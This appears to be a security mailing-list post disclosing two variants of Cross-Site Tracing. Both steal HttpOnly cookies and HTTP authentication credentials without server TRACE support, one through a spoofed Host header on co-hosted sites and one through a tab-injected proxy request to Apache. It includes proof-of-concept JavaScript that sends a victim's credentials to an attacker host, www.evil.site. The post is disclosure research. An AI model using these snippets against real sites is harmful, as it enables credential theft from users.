Hi

Putting aside issues such as the importance of XST, the signal-to-noise
ratio in WhiteHat's paper, the importance of XSS at large, and "whose
fault is it", I would like to show two variants of the XST attacks,
which do not require TRACE support at the server (therefore technically
perhaps do not exactly fall under XST...). So assuming some way is found
to execute JS at the context of the vulnerable site (whether via XSS or
via browser vulnerability), the variants presented below escalate this
problem (XSS or browser vulnerability - which can be used to compromise
regular cookies) into the ability to compromise HttpOnly cookies and
HTTP authentication credentials as well.

It should be stressed that the variants cover only particular scenarios,
as described below.

Here are the variants. I assume that www.vuln.site is the site whose
credentials (in the victim's browser) are to be stolen. I assume
www.evil.site is a site under the attacker's control.

1. Co-Hosted sites. Let's say we have www.vuln.site, co-hosted (i.e.
same IP and port. e.g. two vitual hosts on the same server, or load
balancer address) with www.evil.site . Now, assume, through the numerous
tricks of cross-domaining the browser, or by XSS, that you manage to run
JS in www.vuln.site. And now, let's say that the server does not support
TRACE. Here's what you can do:

<script>
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.vuln.site/cgi-bin/collect-those-credentia
ls.cgi",false);
XmlHttp.setRequestHeader("Host","www.evil.site");
XmlHttp.send();
<script>

The request formed is actually:

GET /cgi-bin/collect-those-credentials.cgi HTTP/1.0
...
Host: www.evil.site
...

Which is sent to the TCP endpoint www.vuln.site:80. So it goes directly
to www.evil.site, with whatever cookies and HTTP auth info that the
browser normally sends http://www.vuln.site/.

Now the only thing that remains for one to do is to set up a
credential-collecting script (/cgi-bin/collect-those-credentials.cgi)
which records the relevant HTTP headers, and that's it.

This was verified with IE 6.0 SP1 and with the two sites co-hosted in
IIS/5.0.

2. Site that support proxying (checked with Apache). Unlike the above
variant, here www.evil.site can be located somewhere in the Internet (no
need for co-hosting). Here's the trick:

<script>
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET\thttp://www.evil.site/cgi-bin/collect-those-credential
s.cgi","http://www.vuln.site/wherever",false);
XmlHttp.send();
<script>

Note that simply sending "GET http://..." fails - XmlHttp seems to
ignore data in the method argument past the first space. Apache however
can take a HT (\t)between the method and the URL, and ignores data after
the first space, which is perfect for this attack, as by this it ignores
the "original" URL.

The GET request (with cookies and all) is thus proxied by the web server
(www.vuln.site) to www.evil.site. QED.

This was verified with IE 6.0 SP1 and Apache/1.3.23 with mod_proxy.

Acknowledgements: Ory Segal - for helping me test and validate the first
variant.

-Amit